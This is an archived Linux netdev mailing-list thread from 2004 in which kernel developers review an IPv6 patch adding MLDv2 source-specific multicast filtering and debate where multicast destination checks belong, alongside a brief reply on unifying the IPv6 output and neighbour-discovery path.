<20040115221841.7e7cc78d%hibi665@oki.com> X-Mailer: Sylpheed version 0.9.7 (GTK+ 1.2.10; sparc-unknown-linux-gnu) X-Face: "_;p5u5aPsO,_Vsx"^v-pEq09'CU4&Dc1$fQExov$62l60cgCc%FnIwD=.UF^a>?5'9Kn[;433QFVV9M..2eN.@4ZWPGbdi<=?[:T>y?SD(R*-3It"Vj:)"dP Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 3071 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev On Fri, 6 Feb 2004 18:01:37 -0700 David Stevens wrote: > +extern int is_mld(struct sk_buff *skb); David, please don't pollute global name space so badly :-) ipv6_is_mld() would be fine. From dlstevens@us.ibm.com Fri Feb 6 20:13:18 2004 Received: with ECARTIS (v1.0.0; list netdev); Fri, 06 Feb 2004 20:13:21 -0800 (PST) Received: from e35.co.us.ibm.com (e35.co.us.ibm.com [32.97.110.133]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i174D8KQ003460 for ; Fri, 6 Feb 2004 20:13:18 -0800 Received: from westrelay04.boulder.ibm.com (westrelay04.boulder.ibm.com [9.17.193.32]) by e35.co.us.ibm.com (8.12.10/8.12.2) with ESMTP id i174D3wX283496; Fri, 6 Feb 2004 23:13:03 -0500 Received: from d03nm121.boulder.ibm.com (d03av02.boulder.ibm.com [9.17.193.82]) by westrelay04.boulder.ibm.com (8.12.10/NCO/VER6.6) with ESMTP id i174D1ca050068; Fri, 6 Feb 2004 21:13:02 -0700 In-Reply-To: <20040206195325.207aa1c7.davem@redhat.com> Subject: Re: Source Specific Query of MLDv2 [PATCH] To: "David S. Miller" Cc: hibi665@oki.com, netdev@oss.sgi.com, netdev-bounce@oss.sgi.com X-Mailer: Lotus Notes Release 6.0.2CF1 June 9, 2003 Message-ID: From: David Stevens Date: Fri, 6 Feb 2004 21:12:59 -0700 X-MIMETrack: Serialize by Router on D03NM121/03/M/IBM(Release 6.0.2CF2HF133 | November 14, 2003) at 02/06/2004 21:13:02 MIME-Version: 1.0 Content-type: multipart/mixed; Boundary="0__=07BBE4A0DF8538D58f9e8a93df938690918c07BBE4A0DF8538D5" X-archive-position: 3072 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: dlstevens@us.ibm.com Precedence: bulk X-list: netdev --0__=07BBE4A0DF8538D58f9e8a93df938690918c07BBE4A0DF8538D5 Content-type: multipart/alternative; Boundary="1__=07BBE4A0DF8538D58f9e8a93df938690918c07BBE4A0DF8538D5" --1__=07BBE4A0DF8538D58f9e8a93df938690918c07BBE4A0DF8538D5 Content-type: text/plain; charset=US-ASCII > David, please don't pollute global name space so badly :-) > ipv6_is_mld() would be fine. Of course, sorry about that. :-) +-DLS diff -ruN linux-2.6.2/include/net/addrconf.h linux-2.6.2F1/include/net/addrconf.h --- linux-2.6.2/include/net/addrconf.h 2004-02-03 19:44:17.000000000 -0800 +++ linux-2.6.2F1/include/net/addrconf.h 2004-02-06 16:03:34.000000000 -0800 @@ -98,6 +98,7 @@ extern int ipv6_chk_mcast_addr(struct net_device *dev, struct in6_addr *group, struct in6_addr *src_addr); +extern int ipv6_is_mld(struct sk_buff *skb); extern void addrconf_prefix_rcv(struct net_device *dev, u8 *opt, int len); diff -ruN linux-2.6.2/net/ipv6/ip6_input.c linux-2.6.2F1/net/ipv6/ip6_input.c --- linux-2.6.2/net/ipv6/ip6_input.c 2004-02-03 19:44:14.000000000 -0800 +++ linux-2.6.2F1/net/ipv6/ip6_input.c 2004-02-06 16:04:00.000000000 -0800 @@ -168,11 +168,19 @@ smp_read_barrier_depends(); if (ipprot->flags & INET6_PROTO_FINAL) { + struct ipv6hdr *hdr; + if (!cksum_sub && skb->ip_summed == CHECKSUM_HW) { skb->csum = csum_sub(skb->csum, csum_partial(skb->nh.raw, skb->h.raw-skb->nh.raw, 0)); cksum_sub++; } + hdr = skb->nh.ipv6h; + if (ipv6_addr_is_multicast(&hdr->daddr) && + !ipv6_chk_mcast_addr(skb->dev, &hdr->daddr, + &hdr->saddr) && + !ipv6_is_mld(skb)) + goto discard; } if (!(ipprot->flags & INET6_PROTO_NOPOLICY) && !xfrm6_policy_check(NULL, XFRM_POLICY_IN, skb)) @@ -211,16 +219,11 @@ int ip6_mc_input(struct sk_buff *skb) { - struct ipv6hdr *hdr; - int deliver = 0; + int deliver = 1; int discard = 1; IP6_INC_STATS_BH(Ip6InMcastPkts); - hdr = skb->nh.ipv6h; - if (ipv6_chk_mcast_addr(skb->dev, &hdr->daddr, &hdr->saddr)) - deliver = 1; - /* * IPv6 multicast router mode isnt currently supported. */ diff -ruN linux-2.6.2/net/ipv6/mcast.c linux-2.6.2F1/net/ipv6/mcast.c --- linux-2.6.2/net/ipv6/mcast.c 2004-02-03 19:44:28.000000000 -0800 +++ linux-2.6.2F1/net/ipv6/mcast.c 2004-02-06 16:04:25.000000000 -0800 @@ -901,6 +901,25 @@ } /* + * identify MLD packets for MLD filter exceptions + */ +int ipv6_is_mld(struct sk_buff *skb) +{ + struct icmp6hdr *pic = (struct icmp6hdr *)skb->h.raw; + + switch (pic->icmp6_type) { + case ICMPV6_MGM_QUERY: + case ICMPV6_MGM_REPORT: + case ICMPV6_MGM_REDUCTION: + case ICMPV6_MLD2_REPORT: + return 1; + default: + break; + } + return 0; +} + +/* * check if the interface/address pair is valid */ int ipv6_chk_mcast_addr(struct net_device *dev, struct in6_addr *group, (See attached file: mldx2.patch) --1__=07BBE4A0DF8538D58f9e8a93df938690918c07BBE4A0DF8538D5 Content-type: text/html; charset=US-ASCII Content-Disposition: inline

> David, please don't pollute global name space so badly :-)
> ipv6_is_mld() would be fine.


Of course, sorry about that. :-)

+-DLS

diff -ruN linux-2.6.2/include/net/addrconf.h linux-2.6.2F1/include/net/addrconf.h
--- linux-2.6.2/include/net/addrconf.h 2004-02-03 19:44:17.000000000 -0800
+++ linux-2.6.2F1/include/net/addrconf.h 2004-02-06 16:03:34.000000000 -0800
@@ -98,6 +98,7 @@

extern int ipv6_chk_mcast_addr(struct net_device *dev, struct in6_addr *group,
struct in6_addr *src_addr);
+extern int ipv6_is_mld(struct sk_buff *skb);

extern void addrconf_prefix_rcv(struct net_device *dev, u8 *opt, int len);

diff -ruN linux-2.6.2/net/ipv6/ip6_input.c linux-2.6.2F1/net/ipv6/ip6_input.c
--- linux-2.6.2/net/ipv6/ip6_input.c 2004-02-03 19:44:14.000000000 -0800
+++ linux-2.6.2F1/net/ipv6/ip6_input.c 2004-02-06 16:04:00.000000000 -0800
@@ -168,11 +168,19 @@

smp_read_barrier_depends();
if (ipprot->flags & INET6_PROTO_FINAL) {
+ struct ipv6hdr *hdr;
+
if (!cksum_sub && skb->ip_summed == CHECKSUM_HW) {
skb->csum = csum_sub(skb->csum,
    csum_partial(skb->nh.raw, skb->h.raw-skb->nh.raw, 0));
cksum_sub++;
}

+ hdr = skb->nh.ipv6h;
+ if (ipv6_addr_is_multicast(&hdr->daddr) &&
+    !ipv6_chk_mcast_addr(skb->dev, &hdr->daddr,
+    &hdr->saddr) &&
+    !ipv6_is_mld(skb))
+ goto discard;
}
if (!(ipprot->flags & INET6_PROTO_NOPOLICY) &&
   !xfrm6_policy_check(NULL, XFRM_POLICY_IN, skb))
@@ -211,16 +219,11 @@

int ip6_mc_input(struct sk_buff *skb)
{
- struct ipv6hdr *hdr;
- int deliver = 0;
+ int deliver = 1;
int discard = 1;

IP6_INC_STATS_BH(Ip6InMcastPkts);

- hdr = skb->nh.ipv6h;
- if (ipv6_chk_mcast_addr(skb->dev, &hdr->daddr, &hdr->saddr))
- deliver = 1;
-
/*
* IPv6 multicast router mode isnt currently supported.
*/
diff -ruN linux-2.6.2/net/ipv6/mcast.c linux-2.6.2F1/net/ipv6/mcast.c
--- linux-2.6.2/net/ipv6/mcast.c 2004-02-03 19:44:28.000000000 -0800
+++ linux-2.6.2F1/net/ipv6/mcast.c 2004-02-06 16:04:25.000000000 -0800
@@ -901,6 +901,25 @@
}

/*
+ * identify MLD packets for MLD filter exceptions
+ */
+int ipv6_is_mld(struct sk_buff *skb)
+{
+ struct icmp6hdr *pic = (struct icmp6hdr *)skb->h.raw;

+
+ switch (pic->icmp6_type) {
+ case ICMPV6_MGM_QUERY:
+ case ICMPV6_MGM_REPORT:
+ case ICMPV6_MGM_REDUCTION:
+ case ICMPV6_MLD2_REPORT:
+ return 1;
+ default:
+ break;
+ }
+ return 0;
+}
+
+/*
 * check if the interface/address pair is valid
 */
int ipv6_chk_mcast_addr(struct net_device *dev, struct in6_addr *group,


(See attached file: mldx2.patch)
--1__=07BBE4A0DF8538D58f9e8a93df938690918c07BBE4A0DF8538D5-- --0__=07BBE4A0DF8538D58f9e8a93df938690918c07BBE4A0DF8538D5 Content-type: application/octet-stream; name="mldx2.patch" Content-Disposition: attachment; filename="mldx2.patch" Content-ID: <10__=07BBE4A0DF8538D58f9e8a93df938@us.ibm.com> Content-transfer-encoding: base64 ZGlmZiAtcnVOIGxpbnV4LTIuNi4yL2luY2x1ZGUvbmV0L2FkZHJjb25mLmggbGludXgtMi42LjJG MS9pbmNsdWRlL25ldC9hZGRyY29uZi5oCi0tLSBsaW51eC0yLjYuMi9pbmNsdWRlL25ldC9hZGRy Y29uZi5oCTIwMDQtMDItMDMgMTk6NDQ6MTcuMDAwMDAwMDAwIC0wODAwCisrKyBsaW51eC0yLjYu MkYxL2luY2x1ZGUvbmV0L2FkZHJjb25mLmgJMjAwNC0wMi0wNiAxNjowMzozNC4wMDAwMDAwMDAg LTA4MDAKQEAgLTk4LDY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RjEvbmV0L2lwdjYvbWNhc3QuYwkyMDA0LTAyLTA2IDE2 OjA0OjI1LjAwMDAwMDAwMCAtMDgwMApAQCAtOTAxLDYgKzkwMSwyNSBAQAogfQogCiAvKgorICog aWRlbnRpZnkgTUxEIHBhY2tldHMgZm9yIE1MRCBmaWx0ZXIgZXhjZXB0aW9ucworICovCitpbnQg aXB2Nl9pc19tbGQoc3RydWN0IHNrX2J1ZmYgKnNrYikKK3sKKwlzdHJ1Y3QgaWNtcDZoZHIgKnBp YyA9IChzdHJ1Y3QgaWNtcDZoZHIgKilza2ItPmgucmF3OworCisJc3dpdGNoIChwaWMtPmljbXA2 X3R5cGUpIHsKKwljYXNlIElDTVBWNl9NR01fUVVFUlk6CisJY2FzZSBJQ01QVjZfTUdNX1JFUE9S VDoKKwljYXNlIElDTVBWNl9NR01fUkVEVUNUSU9OOgorCWNhc2UgSUNNUFY2X01MRDJfUkVQT1JU OgorCQlyZXR1cm4gMTsKKwlkZWZhdWx0OgorCQlicmVhazsKKwl9CisJcmV0dXJuIDA7Cit9CisK Ky8qCiAgKgljaGVjayBpZiB0aGUgaW50ZXJmYWNlL2FkZHJlc3MgcGFpciBpcyB2YWxpZAogICov CiBpbnQgaXB2Nl9jaGtfbWNhc3RfYWRkcihzdHJ1Y3QgbmV0X2RldmljZSAqZGV2LCBzdHJ1Y3Qg aW42X2FkZHIgKmdyb3VwLAo= --0__=07BBE4A0DF8538D58f9e8a93df938690918c07BBE4A0DF8538D5-- From yoshfuji@linux-ipv6.org Fri Feb 6 20:14:04 2004 Received: with ECARTIS (v1.0.0; list netdev); Fri, 06 Feb 2004 20:14:07 -0800 (PST) Received: from yue.hongo.wide.ad.jp (yue.hongo.wide.ad.jp [203.178.135.30]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i174E3KO003646 for ; Fri, 6 Feb 2004 20:14:04 -0800 Received: from localhost (localhost [127.0.0.1]) by yue.hongo.wide.ad.jp (Postfix) with ESMTP id 21B2933CA5; Sat, 7 Feb 2004 13:14:56 +0900 (JST) Date: Sat, 07 Feb 2004 13:14:55 +0900 (JST) Message-Id: <20040207.131455.27570445.yoshfuji@linux-ipv6.org> To: mika.penttila@kolumbus.fi Cc: kazunori@miyazawa.org, davem@redhat.com, netdev@oss.sgi.com, usagi-core@linux-ipv6.org Subject: Re: [PATCH][IPV6][NDISC] unify ipv6 output routine From: YOSHIFUJI Hideaki / =?iso-2022-jp?B?GyRCNUhGIzFRTEAbKEI=?= In-Reply-To: <4023D6FB.9010909@kolumbus.fi> References: <200402070232.33771.kazunori@miyazawa.org> <4023D6FB.9010909@kolumbus.fi> Organization: USAGI Project X-URL: http://www.yoshifuji.org/%7Ehideaki/ X-Fingerprint: 9022 65EB 1ECF 3AD1 0BDF 80D8 4807 F894 E062 0EEA X-PGP-Key-URL: http://www.yoshifuji.org/%7Ehideaki/hideaki@yoshifuji.org.asc X-Face: "5$Al-.M>NJ%a'@hhZdQm:."qn~PA^gq4o*>iCFToq*bAi#4FRtx}enhuQKz7fNqQz\BYU] $~O_5m-9'}MIs`XGwIEscw;e5b>n"B_?j/AkL~i/MEaZBLP X-Mailer: Mew version 2.2 on Emacs 20.7 / Mule 4.1 (AOI) Mime-Version: 1.0 Content-Type: Text/Plain; charset=iso-8859-1 Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by oss.sgi.com id i174E3KO003646 X-archive-position: 3073 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: yoshfuji@linux-ipv6.org Precedence: bulk X-list: netdev In article <4023D6FB.9010909@kolumbus.fi> (at Fri, 06 Feb 2004 20:03:39 +0200), Mika Penttilä says: > Kazunori Miyazawa wrote: : > >Yoshifuji-san and I send the patch which unifies IPv6 output routine and remove > >RTF_NDISC again. It resolves an issue of IPv6 IPsec with neighbor discovery > >without a flag. : > You break multicast replies, see what ndisc_build_ll_hdr() does... It doesn't "break." The ip6_output2() resolves and inserts link-layer address appropriately. If it did, we would have noticed (by conformance test or even by usual operation). ;-) BTW, Miyazawa-san, we do not need ndisc_build_ll_hdr() anymore. Compiler warns it. Please remove it. Thanks. Here's the description: dst->neighbour owns the neighbour entry for the destination. For multicast, we know its link-layer address (filled in ndisc_constructor()). For unicast, the link-layer address may be unknown. ip6_output2() will call ip6_output_finish() and it tries inserting the link-layer header. The destination link-layer address is used if it is known (*). (Note: you remember that we know link-layer address for multicast.) If the link-layer address is not known or invalid, we queue the packet and resolve the link-layer address for the destination. Here, since the neighbour entry is "invalid," *multicast* NS is sent. The NS packet passes similar path. We know the destination for the NS is multicast and what the link-layer address is, and the packet is sent via (*). We will send the queued packet when we got NA from that node. Real story: A node may send NS without source link-layer address option while we do not know the link-layer address for the source of the NS. We need to send NA in reply to this NS. Original code cannot handle this case. The new code path can. -- Hideaki YOSHIFUJI @ USAGI Project GPG FP: 9022 65EB 1ECF 3AD1 0BDF 80D8 4807 F894 E062 0EEA From yoshfuji@linux-ipv6.org Fri Feb 6 20:21:42 2004 Received: with ECARTIS (v1.0.0; list netdev); Fri, 06 Feb 2004 20:21:50 -0800 (PST) Received: from yue.hongo.wide.ad.jp (yue.hongo.wide.ad.jp [203.178.135.30]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i174LfKO007110 for ; Fri, 6 Feb 2004 20:21:41 -0800 Received: from localhost (localhost [127.0.0.1]) by yue.hongo.wide.ad.jp (Postfix) with ESMTP id 39B7F33CA5; Sat, 7 Feb 2004 13:22:34 +0900 (JST) Date: Sat, 07 Feb 2004 13:22:33 +0900 (JST) Message-Id: <20040207.132233.21960944.yoshfuji@linux-ipv6.org> To: dlstevens@us.ibm.com Cc: davem@redhat.com, hibi665@oki.com, netdev@oss.sgi.com, yoshfuji@linux-ipv6.org Subject: Re: Source Specific Query of MLDv2 [PATCH] From: YOSHIFUJI Hideaki / =?iso-2022-jp?B?GyRCNUhGIzFRTEAbKEI=?= In-Reply-To: References: <20040206195325.207aa1c7.davem@redhat.com> Organization: USAGI Project X-URL: http://www.yoshifuji.org/%7Ehideaki/ X-Fingerprint: 9022 65EB 1ECF 3AD1 0BDF 80D8 4807 F894 E062 0EEA X-PGP-Key-URL: http://www.yoshifuji.org/%7Ehideaki/hideaki@yoshifuji.org.asc X-Face: "5$Al-.M>NJ%a'@hhZdQm:."qn~PA^gq4o*>iCFToq*bAi#4FRtx}enhuQKz7fNqQz\BYU] $~O_5m-9'}MIs`XGwIEscw;e5b>n"B_?j/AkL~i/MEaZBLP X-Mailer: Mew version 2.2 on Emacs 20.7 / Mule 4.1 (AOI) Mime-Version: 1.0 Content-Type: Text/Plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-archive-position: 3074 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: yoshfuji@linux-ipv6.org Precedence: bulk X-list: netdev In article (at Fri, 6 Feb 2004 21:12:59 -0700), David Stevens says: > > David, please don't pollute global name space so badly :-) > > ipv6_is_mld() would be fine. > > Of course, sorry about that. :-) Why not in icmpv6_rcv()? we need to do pskb_pull() before touching type/code. > int ip6_mc_input(struct sk_buff *skb) > { > - struct ipv6hdr *hdr; > - int deliver = 0; > + int deliver = 1; > int discard = 1; > > IP6_INC_STATS_BH(Ip6InMcastPkts); > > - hdr = skb->nh.ipv6h; > - if (ipv6_chk_mcast_addr(skb->dev, &hdr->daddr, &hdr->saddr)) > - deliver = 1; > - Please do not remove this. We need to check destination (but not source) because the driver may be in "promisc." mode. -- Hideaki YOSHIFUJI @ USAGI Project GPG FP: 9022 65EB 1ECF 3AD1 0BDF 80D8 4807 F894 E062 0EEA From davem@redhat.com Fri Feb 6 20:24:43 2004 Received: with ECARTIS (v1.0.0; list netdev); Fri, 06 Feb 2004 20:24:52 -0800 (PST) Received: from mx1.redhat.com (mx1.redhat.com [66.187.233.31]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i174OgKO007548; Fri, 6 Feb 2004 20:24:43 -0800 Received: from int-mx1.corp.redhat.com (int-mx1.corp.redhat.com [172.16.52.254]) by mx1.redhat.com (8.11.6/8.11.6) with ESMTP id i174Odb12872; Fri, 6 Feb 2004 23:24:39 -0500 Received: from devserv.devel.redhat.com (devserv.devel.redhat.com [172.16.58.1]) by int-mx1.corp.redhat.com (8.11.6/8.11.6) with ESMTP id i174Oda19090; Fri, 6 Feb 2004 23:24:39 -0500 Received: from cheetah.davemloft.net (localhost.localdomain [127.0.0.1]) by devserv.devel.redhat.com (8.12.10/8.12.10) with SMTP id i174O7kC024803; Fri, 6 Feb 2004 23:24:08 -0500 Date: Fri, 6 Feb 2004 20:24:38 -0800 From: "David S. Miller" To: David Stevens Cc: hibi665@oki.com, netdev@oss.sgi.com, netdev-bounce@oss.sgi.com Subject: Re: Source Specific Query of MLDv2 [PATCH] Message-Id: <20040206202438.13163677.davem@redhat.com> In-Reply-To: References: <20040206195325.207aa1c7.davem@redhat.com> X-Mailer: Sylpheed version 0.9.7 (GTK+ 1.2.10; sparc-unknown-linux-gnu) X-Face: "_;p5u5aPsO,_Vsx"^v-pEq09'CU4&Dc1$fQExov$62l60cgCc%FnIwD=.UF^a>?5'9Kn[;433QFVV9M..2eN.@4ZWPGbdi<=?[:T>y?SD(R*-3It"Vj:)"dP Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 3075 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev On Fri, 6 Feb 2004 21:12:59 -0700 David Stevens wrote: > @@ -211,16 +219,11 @@ > > int ip6_mc_input(struct sk_buff *skb) > { > - struct ipv6hdr *hdr; > - int deliver = 0; > + int deliver = 1; > int discard = 1; 'deliver' is always true now, please kill it and all the code trying to test it :) From yoshfuji@linux-ipv6.org Fri Feb 6 20:28:45 2004 Received: with ECARTIS (v1.0.0; list netdev); Fri, 06 Feb 2004 20:28:48 -0800 (PST) Received: from yue.hongo.wide.ad.jp (yue.hongo.wide.ad.jp [203.178.135.30]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i174SiKO007985 for ; Fri, 6 Feb 2004 20:28:44 -0800 Received: from localhost (localhost [127.0.0.1]) by yue.hongo.wide.ad.jp (Postfix) with ESMTP id 43B8233CA5; Sat, 7 Feb 2004 13:29:37 +0900 (JST) Date: Sat, 07 Feb 2004 13:29:37 +0900 (JST) Message-Id: <20040207.132937.126838355.yoshfuji@linux-ipv6.org> To: davem@redhat.com Cc: dlstevens@us.ibm.com, hibi665@oki.com, netdev@oss.sgi.com, yoshfuji@linux-ipv6.org Subject: Re: Source Specific Query of MLDv2 [PATCH] From: YOSHIFUJI Hideaki / =?iso-2022-jp?B?GyRCNUhGIzFRTEAbKEI=?= In-Reply-To: <20040206202438.13163677.davem@redhat.com> References: <20040206195325.207aa1c7.davem@redhat.com> <20040206202438.13163677.davem@redhat.com> Organization: USAGI Project X-URL: http://www.yoshifuji.org/%7Ehideaki/ X-Fingerprint: 9022 65EB 1ECF 3AD1 0BDF 80D8 4807 F894 E062 0EEA X-PGP-Key-URL: http://www.yoshifuji.org/%7Ehideaki/hideaki@yoshifuji.org.asc X-Face: "5$Al-.M>NJ%a'@hhZdQm:."qn~PA^gq4o*>iCFToq*bAi#4FRtx}enhuQKz7fNqQz\BYU] $~O_5m-9'}MIs`XGwIEscw;e5b>n"B_?j/AkL~i/MEaZBLP X-Mailer: Mew version 2.2 on Emacs 20.7 / Mule 4.1 (AOI) Mime-Version: 1.0 Content-Type: Text/Plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-archive-position: 3076 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: yoshfuji@linux-ipv6.org Precedence: bulk X-list: netdev In article <20040206202438.13163677.davem@redhat.com> (at Fri, 6 Feb 2004 20:24:38 -0800), "David S. Miller" says: > On Fri, 6 Feb 2004 21:12:59 -0700 > David Stevens wrote: > > > @@ -211,16 +219,11 @@ > > > > int ip6_mc_input(struct sk_buff *skb) > > { > > - struct ipv6hdr *hdr; > > - int deliver = 0; > > + int deliver = 1; > > int discard = 1; > > 'deliver' is always true now, please kill it and all the code > trying to test it :) We should test the destination address here. --yoshfuji From davem@redhat.com Fri Feb 6 20:33:36 2004 Received: with ECARTIS (v1.0.0; list netdev); Fri, 06 Feb 2004 20:33:40 -0800 (PST) Received: from mx1.redhat.com (mx1.redhat.com [66.187.233.31]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i174XaKO008407 for ; Fri, 6 Feb 2004 20:33:36 -0800 Received: from int-mx1.corp.redhat.com (int-mx1.corp.redhat.com [172.16.52.254]) by mx1.redhat.com (8.11.6/8.11.6) with ESMTP id i174XVb15866; Fri, 6 Feb 2004 23:33:31 -0500 Received: from devserv.devel.redhat.com (devserv.devel.redhat.com [172.16.58.1]) by int-mx1.corp.redhat.com (8.11.6/8.11.6) with ESMTP id i174XVa20967; Fri, 6 Feb 2004 23:33:31 -0500 Received: from cheetah.davemloft.net (localhost.localdomain [127.0.0.1]) by devserv.devel.redhat.com (8.12.10/8.12.10) with SMTP id i174WxkC026950; Fri, 6 Feb 2004 23:33:00 -0500 Date: Fri, 6 Feb 2004 20:33:30 -0800 From: "David S. Miller" To: yoshfuji@linux-ipv6.org Cc: dlstevens@us.ibm.com, hibi665@oki.com, netdev@oss.sgi.com Subject: Re: Source Specific Query of MLDv2 [PATCH] Message-Id: <20040206203330.60e63ba7.davem@redhat.com> In-Reply-To: <20040207.132937.126838355.yoshfuji@linux-ipv6.org> References: <20040206195325.207aa1c7.davem@redhat.com> <20040206202438.13163677.davem@redhat.com> <20040207.132937.126838355.yoshfuji@linux-ipv6.org> X-Mailer: Sylpheed version 0.9.7 (GTK+ 1.2.10; sparc-unknown-linux-gnu) X-Face: "_;p5u5aPsO,_Vsx"^v-pEq09'CU4&Dc1$fQExov$62l60cgCc%FnIwD=.UF^a>?5'9Kn[;433QFVV9M..2eN.@4ZWPGbdi<=?[:T>y?SD(R*-3It"Vj:)"dP Mime-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by oss.sgi.com id i174XaKO008407 X-archive-position: 3077 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev On Sat, 07 Feb 2004 13:29:37 +0900 (JST) YOSHIFUJI Hideaki / $B5HF#1QL@(B wrote: > In article <20040206202438.13163677.davem@redhat.com> (at Fri, 6 Feb 2004 20:24:38 -0800), "David S. Miller" says: > > > On Fri, 6 Feb 2004 21:12:59 -0700 > > David Stevens wrote: > > > > > @@ -211,16 +219,11 @@ > > > > > > int ip6_mc_input(struct sk_buff *skb) > > We should test the destination address here. Ok, you and David work things out and let me know when the final patch is ready. From dlstevens@us.ibm.com Fri Feb 6 20:40:23 2004 Received: with ECARTIS (v1.0.0; list netdev); Fri, 06 Feb 2004 20:40:26 -0800 (PST) Received: from e34.co.us.ibm.com (e34.co.us.ibm.com [32.97.110.132]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i174eMKO008815 for ; Fri, 6 Feb 2004 20:40:22 -0800 Received: from westrelay02.boulder.ibm.com (westrelay02.boulder.ibm.com [9.17.195.11]) by e34.co.us.ibm.com (8.12.10/8.12.2) with ESMTP id i174doOH403784; Fri, 6 Feb 2004 23:39:50 -0500 Received: from d03nm121.boulder.ibm.com (d03av02.boulder.ibm.com [9.17.193.82]) by westrelay02.boulder.ibm.com (8.12.10/NCO/VER6.6) with ESMTP id i174dnbP120016; Fri, 6 Feb 2004 21:39:50 -0700 In-Reply-To: <20040207.132233.21960944.yoshfuji@linux-ipv6.org> Subject: Re: Source Specific Query of MLDv2 [PATCH] To: YOSHIFUJI Hideaki / =?ISO-2022-JP?B?GyRCNUhGIzFRTEAbKEI=?= Cc: davem@redhat.com, hibi665@oki.com, netdev@oss.sgi.com, "Hideaki YOSHIFUJI" , yoshfuji@linux-ipv6.org X-Mailer: Lotus Notes Release 6.0.2CF1 June 9, 2003 Message-ID: From: David Stevens Date: Fri, 6 Feb 2004 20:39:47 -0800 X-MIMETrack: Serialize by Router on D03NM121/03/M/IBM(Release 6.0.2CF2HF133 | November 14, 2003) at 02/06/2004 21:39:50 MIME-Version: 1.0 Content-type: multipart/alternative; Boundary="0__=07BBE4A0DF8BD9F28f9e8a93df938690918c07BBE4A0DF8BD9F2" Content-Disposition: inline X-archive-position: 3078 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: dlstevens@us.ibm.com Precedence: bulk X-list: netdev --0__=07BBE4A0DF8BD9F28f9e8a93df938690918c07BBE4A0DF8BD9F2 Content-type: text/plain; charset=US-ASCII "Hideaki YOSHIFUJI" wrote on 02/06/2004 08:22:33 PM: > Why not in icmpv6_rcv()? I don't understand this question. It's needed every place *except* icmpv6_rcv(). > we need to do pskb_pull() before touching type/code. Yes, you're right; I'll add that. > > > > - hdr = skb->nh.ipv6h; > > - if (ipv6_chk_mcast_addr(skb->dev, &hdr->daddr, &hdr->saddr)) > > - deliver = 1; > > - > Please do not remove this. > We need to check destination (but not source) > because the driver may be in "promisc." mode. I'm not removing it, I'm moving it. The original code is: ip6_mc_input() (not much else, since no mc router code) ip6_input new is: ip6_mc_input() ip6_input In promiscuous mode, it will parse the extension headers for non-local multicasts before dropping them. But what you suggested will do two multicast address look-ups for every multicast packet (including the valid ones). One for the destination and another for the destination/source filter. The point where it's filtered is just after the checksum is validated, and no ICMP errors can be reported for multicast destinations, so the trade-off is 1) a performance hit for every multicast packet or 2) parsing potential extension headers (expected case won't have any and it doesn't cost anything) for multicast packets that we may drop. This patch implements option #2. +-DLS --0__=07BBE4A0DF8BD9F28f9e8a93df938690918c07BBE4A0DF8BD9F2 Content-type: text/html; charset=US-ASCII Content-Disposition: inline

"Hideaki YOSHIFUJI" <yoshfuji@cerberus.hongo.wide.ad.jp> wrote on 02/06/2004 08:22:33 PM:

> Why not in icmpv6_rcv()?

I don't understand this question. It's needed every place
*except* icmpv6_rcv().

> we need to do pskb_pull() before touching type/code.


Yes, you're right; I'll add that.

> >
> > -     hdr = skb->nh.ipv6h;
> > -     if (ipv6_chk_mcast_addr(skb->dev, &hdr->daddr, &hdr->saddr))
> > -           deliver = 1;
> > -

> Please do not remove this.
> We need to check destination (but not source)
> because the driver may be in "promisc." mode.


I'm not removing it, I'm moving it. The original code
is:

ip6_mc_input()
<filter check> (not much else, since no mc router code)
ip6_input
<parse extension headers>
<deliver to ULP>

new is:
ip6_mc_input()
<inc stats, "#if 0" for mc router code>
ip6_input
<parse extension headers>
<filter check>
<deliver to ULP>

In promiscuous mode, it will parse the extension headers
for non-local multicasts before dropping them. But what
you suggested will do two multicast address look-ups for
every multicast packet (including the valid ones). One
for the destination and another for the destination/source
filter.
The point where it's filtered is just after the
checksum is validated, and no ICMP errors can be reported
for multicast destinations, so the trade-off is 1) a
performance hit for every multicast packet or 2) parsing
potential extension headers (expected case won't have any
and it doesn't cost anything) for multicast packets that
we may drop.
This patch implements option #2.

+-DLS
